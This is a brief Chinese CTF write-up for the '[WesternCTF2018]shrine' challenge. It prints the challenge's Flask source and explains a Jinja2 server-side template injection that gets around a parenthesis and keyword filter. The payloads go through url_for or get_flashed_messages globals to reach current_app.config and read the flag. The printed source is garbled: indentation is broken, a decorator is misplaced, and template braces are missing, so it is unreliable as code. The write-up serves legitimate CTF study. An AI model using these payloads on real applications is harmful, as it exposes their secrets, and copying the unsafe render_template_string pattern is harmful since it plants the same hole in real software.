BUUCTF：[WesternCTF2018]shrine

Posted 2022-09-22 末初mochu7

https://buuoj.cn/challenges#[WesternCTF2018]shrine

import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
	return open(__file__).read() 
	@app.route('/shrine/') 

def shrine(shrine): 
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '')
		blacklist = ['config', 'self'] 
	return ''.join(['% set =None%'.format(c) for c in blacklist]) + s 
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__': 
	app.run(debug=True) 

过滤了小括号()、config、self，且FLAG在环境变量中，这里的过滤只针对config管用
过滤了小括号基本上就没法使用各种类的方法了，而这里FLAG在环境变量中

可利用Flask内置的两个函数：

• url_for()
• get_flashed_messages()

/shrine/url_for.__globals__
/shrine/get_flashed_messages.__globals__

利用其中的current_app方法，可以直接查看到当前app的config

/shrine/url_for.__globals__['current_app'].config
/shrine/get_flashed_messages.__globals__['current_app'].config